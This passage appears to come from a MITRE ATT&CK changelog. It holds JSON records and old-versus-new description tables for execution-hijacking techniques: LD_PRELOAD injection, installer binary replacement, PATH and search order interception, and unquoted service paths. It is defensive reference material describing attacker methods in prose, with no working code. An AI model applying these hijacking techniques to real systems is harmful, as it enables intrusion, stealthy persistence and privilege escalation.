LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\\n-\\n-Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking environment variables the dynamic linker uses to load | > | cking environment variables the dynamic linker uses to load | ||
| > | shared libraries. During the execution preparation phase of | > | shared libraries. During the execution preparation phase of | ||
| > | a program, the dynamic linker loads specified absolute paths | > | a program, the dynamic linker loads specified absolute paths | ||
| > | of shared libraries from various environment variables and | > | of shared libraries from various environment variables and | ||
| > | files, such as <code>LD_PRELOAD</code> on Linux or <code>DYL | > | files, such as <code>LD_PRELOAD</code> on Linux or <code>DYL | ||
| > | D_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYL | > | D_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYL | ||
| > | D_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(C | > | D_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(C | ||
| > | itation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Li | > | itation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Li | ||
| > | braries specified in environment variables are loaded first, | > | braries specified in environment variables are loaded first, | ||
| > | taking precedence over system libraries with the same funct | > | taking precedence over system libraries with the same funct | ||
| > | ion name.(Citation: Man LD.SO)(Citation: TLDP Shared Librari | > | ion name.(Citation: Man LD.SO)(Citation: TLDP Shared Librari | ||
| > | es)(Citation: Apple Doco Archive Dynamic Libraries) Each pla | > | es)(Citation: Apple Doco Archive Dynamic Libraries) Each pla | ||
| > | tform's linker uses an extensive list of environment variabl | > | tform's linker uses an extensive list of environment variabl | ||
| > | es at different points in execution. These variables are oft | > | es at different points in execution. These variables are oft | ||
| > | en used by developers to debug binaries without needing to r | > | en used by developers to debug binaries without needing to r | ||
| > | ecompile, deconflict mapped symbols, and implement custom fu | > | ecompile, deconflict mapped symbols, and implement custom fu | ||
| > | nctions in the original library.(Citation: Baeldung LD_PRELO | > | nctions in the original library.(Citation: Baeldung LD_PRELO | ||
| > | AD) Hijacking dynamic linker variables may grant access to | > | AD) Hijacking dynamic linker variables may grant access to | ||
| > | the victim process's memory, system/network resources, and p | > | the victim process's memory, system/network resources, and p | ||
| > | ossibly elevated privileges. On Linux, adversaries may set < | > | ossibly elevated privileges. On Linux, adversaries may set < | ||
| > | code>LD_PRELOAD</code> to point to malicious libraries that | > | code>LD_PRELOAD</code> to point to malicious libraries that | ||
| > | match the name of legitimate libraries which are requested b | > | match the name of legitimate libraries which are requested b | ||
| > | y a victim program, causing the operating system to load the | > | y a victim program, causing the operating system to load the | ||
| > | adversary's malicious code upon execution of the victim pro | > | adversary's malicious code upon execution of the victim pro | ||
| > | gram. For example, adversaries have used `LD_PRELOAD` to inj | > | gram. For example, adversaries have used `LD_PRELOAD` to inj | ||
| > | ect a malicious library into every descendant process of the | > | ect a malicious library into every descendant process of the | ||
| > | `sshd` daemon, resulting in execution under a legitimate pr | > | `sshd` daemon, resulting in execution under a legitimate pr | ||
| > | ocess. When the executing sub-process calls the `execve` fun | > | ocess. When the executing sub-process calls the `execve` fun | ||
| > | ction, for example, the malicious library\u2019s `execve` functio | > | ction, for example, the malicious library\u2019s `execve` functio | ||
| > | n is executed rather than the system function `execve` conta | > | n is executed rather than the system function `execve` conta | ||
| > | ined in the system library on disk. This allows adversaries | > | ined in the system library on disk. This allows adversaries | ||
| > | to [Hide Artifacts](https://attack.mitre.org/techniques/T156 | > | to [Hide Artifacts](https://attack.mitre.org/techniques/T156 | ||
| > | 4) from detection, as hooking system functions such as `exec | > | 4) from detection, as hooking system functions such as `exec | ||
| > | ve` and `readdir` enables malware to scrub its own artifacts | > | ve` and `readdir` enables malware to scrub its own artifacts | ||
| > | from the results of commands such as `ls`, `ldd`, `iptables | > | from the results of commands such as `ls`, `ldd`, `iptables | ||
| > | `, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Int | > | `, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Int | ||
| > | ezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit | > | ezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit | ||
| > | 2024) Hijacking dynamic linker variables may grant access t | > | 2024) | ||
| > | o the victim process's memory, system/network resources, and | ||||
| > | possibly elevated privileges. |
%TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/005",
"external_id": "T1574.005"
},
{
"source_name": "mozilla_sec_adv_2012",
"description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
"url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
},
{
"source_name": "Executable Installers are Vulnerable",
"description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
"url": "https://seclists.org/fulldisclosure/2015/Dec/34"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Stefan Kanthak",
"Travis Smith, Tripwire"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:05:09.289000+00:00\", \"old_value\": \"2026-05-12 15:12:00.641000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\\n\\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\\n\\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n \\n-Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\\n+Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the binaries used by an installer. These processes may | > | cking the binaries used by an installer. These processes may | ||
| > | automatically execute specific binaries as part of their fu | > | automatically execute specific binaries as part of their fu | ||
| > | nctionality or to perform other actions. If the permissions | > | nctionality or to perform other actions. If the permissions | ||
| > | on the file system directory containing a target binary, or | > | on the file system directory containing a target binary, or | ||
| > | permissions on the binary itself, are improperly set, then t | > | permissions on the binary itself, are improperly set, then t | ||
| > | he target binary may be overwritten with another binary usin | > | he target binary may be overwritten with another binary usin | ||
| > | g user-level permissions and executed by the original proces | > | g user-level permissions and executed by the original proces | ||
| > | s. If the original process and thread are running under a hi | > | s. If the original process and thread are running under a hi | ||
| > | gher permissions level, then the replaced binary will also e | > | gher permissions level, then the replaced binary will also e | ||
| > | xecute under higher-level permissions, which could include S | > | xecute under higher-level permissions, which could include S | ||
| > | YSTEM. Another variation of this technique can be performed | > | YSTEM. Another variation of this technique can be performed | ||
| > | by taking advantage of a weakness that is common in executa | > | by taking advantage of a weakness that is common in executa | ||
| > | ble, self-extracting installers. During the installation pro | > | ble, self-extracting installers. During the installation pro | ||
| > | cess, it is common for installers to use a subdirectory with | > | cess, it is common for installers to use a subdirectory with | ||
| > | in the <code>%TEMP%</code> directory to unpack binaries such | > | in the <code>%TEMP%</code> directory to unpack binaries such | ||
| > | as DLLs, EXEs, or other payloads. When installers create su | > | as DLLs, EXEs, or other payloads. When installers create su | ||
| > | bdirectories and files they often do not set appropriate per | > | bdirectories and files they often do not set appropriate per | ||
| > | missions to restrict write access, which allows for executio | > | missions to restrict write access, which allows for executio | ||
| > | n of untrusted code placed in the subdirectories or overwrit | > | n of untrusted code placed in the subdirectories or overwrit | ||
| > | ing of binaries used in the installation process. This behav | > | ing of binaries used in the installation process. This behav | ||
| > | ior is related to and may take advantage of [DLL](https://at | > | ior is related to and may take advantage of [DLL](https://at | ||
| > | tack.mitre.org/techniques/T1574/001) search order hijacking. | > | tack.mitre.org/techniques/T1574/001) search order hijacking. | ||
| > | Adversaries may use this technique to replace legitimate b | > | Adversaries may use this technique to replace legitimate b | ||
| > | inaries with malicious ones as a means of executing code at | > | inaries with malicious ones as a means of executing code at | ||
| > | a higher permissions level. Some installers may also require | > | a higher permissions level. Some installers may also require | ||
| > | elevated privileges that will result in privilege escalatio | > | elevated privileges that will result in privilege escalatio | ||
| > | n when executing adversary controlled code. This behavior is | > | n when executing adversary controlled code. This behavior is | ||
| > | related to [Bypass User Account Control](https://attack.mit | > | related to [Bypass User Account Control](https://attack.mit | ||
| > | re.org/techniques/T1548/002). Several examples of this weakn | > | re.org/techniques/T1548/002). Several examples of this weakn | ||
| > | ess in existing common installers have been reported to soft | > | ess in existing common installers have been reported to soft | ||
| > | ware vendors.(Citation: mozilla_sec_adv_2012) (Citation: Ex | > | ware vendors.(Citation: mozilla_sec_adv_2012)(Citation: Exec | ||
| > | ecutable Installers are Vulnerable) If the executing process | > | utable Installers are Vulnerable) If the executing process i | ||
| > | is set to run at a specific time or during a certain event | > | s set to run at a specific time or during a certain event (e | ||
| > | (e.g., system bootup) then this technique can also be used f | > | .g., system bootup) then this technique can also be used for | ||
| > | or persistence. | > | persistence. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking environment variables used to load libraries. The PATH | > | cking environment variables used to load libraries. The PATH | ||
| > | environment variable contains a list of directories (User a | > | environment variable contains a list of directories (User a | ||
| > | nd System) that the OS searches sequentially through in sear | > | nd System) that the OS searches sequentially through in sear | ||
| > | ch of the binary that was called from a script or the comman | > | ch of the binary that was called from a script or the comman | ||
| > | d line. Adversaries can place a malicious program in an ea | > | d line. Adversaries can place a malicious program in an ea | ||
| > | rlier entry in the list of directories stored in the PATH en | > | rlier entry in the list of directories stored in the PATH en | ||
| > | vironment variable, resulting in the operating system execut | > | vironment variable, resulting in the operating system execut | ||
| > | ing the malicious binary rather than the legitimate binary w | > | ing the malicious binary rather than the legitimate binary w | ||
| > | hen it searches sequentially through that PATH listing. For | > | hen it searches sequentially through that PATH listing. For | ||
| > | example, on Windows if an adversary places a malicious prog | > | example, on Windows if an adversary places a malicious prog | ||
| > | ram named \"net.exe\" in `C:\\example path`, which by default p | > | ram named \"net.exe\" in `C:\\example path`, which by default p | ||
| > | recedes `C:\\Windows\\system32\\net.exe` in the PATH environmen | > | recedes `C:\\Windows\\system32\\net.exe` in the PATH environmen | ||
| > | t variable, when \"net\" is executed from the command-line the | > | t variable, when \"net\" is executed from the command-line the | ||
| > | `C:\\example path` will be called instead of the system's le | > | `C:\\example path` will be called instead of the system's le | ||
| > | gitimate executable at `C:\\Windows\\system32\\net.exe`. Some m | > | gitimate executable at `C:\\Windows\\system32\\net.exe`. Some m | ||
| > | ethods of executing a program rely on the PATH environment v | > | ethods of executing a program rely on the PATH environment v | ||
| > | ariable to determine the locations that are searched when th | > | ariable to determine the locations that are searched when th | ||
| > | e path for the program is not given, such as executing progr | > | e path for the program is not given, such as executing progr | ||
| > | ams from a [Command and Scripting Interpreter](https://attac | > | ams from a [Command and Scripting Interpreter](https://attac | ||
| > | k.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env | > | k.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env | ||
| > | Windows 2021) Adversaries may also directly modify the $PA | > | Windows 2021) Adversaries may also directly modify the $PA | ||
| > | TH variable specifying the directories to be searched. An a | > | TH variable specifying the directories to be searched. An a | ||
| > | dversary can modify the `$PATH` variable to point to a direc | > | dversary can modify the `$PATH` variable to point to a direc | ||
| > | tory they have write access. When a program using the $PATH | > | tory to which they have write access. When a program using t | ||
| > | variable is called, the OS searches the specified directory | > | he $PATH variable is called, the OS searches the specified d | ||
| > | and executes the malicious binary. On macOS, this can also b | > | irectory and executes the malicious binary. On macOS, this c | ||
| > | e performed through modifying the $HOME variable. These vari | > | an also be performed through modifying the $HOME variable. T | ||
| > | ables can be modified using the command-line, launchctl, [Un | > | hese variables can be modified using the command-line, launc | ||
| > | ix Shell Configuration Modification](https://attack.mitre.or | > | hctl, [Unix Shell Configuration Modification](https://attack | ||
| > | g/techniques/T1546/004), or modifying the `/etc/paths.d` fol | > | .mitre.org/techniques/T1546/004), or modifying the `/etc/pat | ||
| > | der contents.(Citation: uptycs Fake POC linux malware 2023)( | > | hs.d` folder contents.(Citation: uptycs Fake POC linux malwa | ||
| > | Citation: nixCraft macOS PATH variables)(Citation: Elastic R | > | re 2023)(Citation: nixCraft macOS PATH variables)(Citation: | ||
| > | ules macOS launchctl 2022) | > | Elastic Rules macOS launchctl 2022) |
net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/008",
"external_id": "T1574.008"
},
{
"source_name": "Microsoft Environment Property",
"description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
"url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
},
{
"source_name": "Microsoft CreateProcess",
"description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
},
{
"source_name": "Microsoft WinExec",
"description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
},
{
"source_name": "Windows NT Command Shell",
"description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
"url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:05:50.979000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n\\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n\\nFor example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument net user. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then cmd.exe /C net user will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\\n\\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n\\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n\\nFor example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument net user. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then cmd.exe /C net user will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\\n\\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n \\n-Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n+Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n \\n-For example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument net user. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then cmd.exe /C net user will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\\n+For example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument net user. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then cmd.exe /C net user will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\\n \\n Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the search order used to load other programs. Because | > | cking the search order used to load other programs. Because | ||
| > | some programs do not call other programs using the full path | > | some programs do not call other programs using the full path | ||
| > | , adversaries may place their own file in the directory wher | > | , adversaries may place their own file in the directory wher | ||
| > | e the calling program is located, causing the operating syst | > | e the calling program is located, causing the operating syst | ||
| > | em to launch their malicious software at the request of the | > | em to launch their malicious software at the request of the | ||
| > | calling program. Search order hijacking occurs when an adve | > | calling program. Search order hijacking occurs when an adve | ||
| > | rsary abuses the order in which Windows searches for program | > | rsary abuses the order in which Windows searches for program | ||
| > | s that are not given a path. Unlike [DLL](https://attack.mit | > | s that are not given a path. Unlike [DLL](https://attack.mit | ||
| > | re.org/techniques/T1574/001) search order hijacking, the sea | > | re.org/techniques/T1574/001) search order hijacking, the sea | ||
| > | rch order differs depending on the method that is used to ex | > | rch order differs depending on the method that is used to ex | ||
| > | ecute the program. (Citation: Microsoft CreateProcess) (Cita | > | ecute the program.(Citation: Microsoft CreateProcess)(Citati | ||
| > | tion: Windows NT Command Shell) (Citation: Microsoft WinExec | > | on: Windows NT Command Shell)(Citation: Microsoft WinExec) H | ||
| > | ) However, it is common for Windows to search in the directo | > | owever, it is common for Windows to search in the directory | ||
| > | ry of the initiating program before searching through the Wi | > | of the initiating program before searching through the Windo | ||
| > | ndows system directory. An adversary who finds a program vul | > | ws system directory. An adversary who finds a program vulner | ||
| > | nerable to search order hijacking (i.e., a program that does | > | able to search order hijacking (i.e., a program that does no | ||
| > | not specify the path to an executable) may take advantage o | > | t specify the path to an executable) may take advantage of t | ||
| > | f this vulnerability by creating a program named after the i | > | his vulnerability by creating a program named after the impr | ||
| > | mproperly specified program and placing it within the initia | > | operly specified program and placing it within the initiatin | ||
| > | ting program's directory. For example, \"example.exe\" runs \" | > | g program's directory. For example, \"example.exe\" runs \"cmd | ||
| > | cmd.exe\" with the command-line argument <code>net user</code | > | .exe\" with the command-line argument <code>net user</code>. | ||
| > | >. An adversary may place a program called \"net.exe\" within | > | An adversary may place a program called \"net.exe\" within the | ||
| > | the same directory as example.exe, \"net.exe\" will be run ins | > | same directory as example.exe, \"net.exe\" will be run instea | ||
| > | tead of the Windows system utility net. In addition, if an a | > | d of the Windows system utility net. In addition, if an adve | ||
| > | dversary places a program called \"net.com\" in the same direc | > | rsary places a program called \"net.com\" in the same director | ||
| > | tory as \"net.exe\", then <code>cmd.exe /C net user</code> wil | > | y as \"net.exe\", then <code>cmd.exe /C net user</code> will e | ||
| > | l execute \"net.com\" instead of \"net.exe\" due to the order of | > | xecute \"net.com\" instead of \"net.exe\" due to the order of ex | ||
| > | executable extensions defined under PATHEXT. (Citation: Mic | > | ecutable extensions defined under PATHEXT.(Citation: Microso | ||
| > | rosoft Environment Property) Search order hijacking is also | > | ft Environment Property) Search order hijacking is also a c | ||
| > | a common practice for hijacking DLL loads and is covered in | > | ommon practice for hijacking DLL loads and is covered in [DL | ||
| > | [DLL](https://attack.mitre.org/techniques/T1574/001). | > | L](https://attack.mitre.org/techniques/T1574/001). |
C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\").(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/009",
"external_id": "T1574.009"
},
{
"source_name": "Windows Privilege Escalation Guide",
"description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
"url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
},
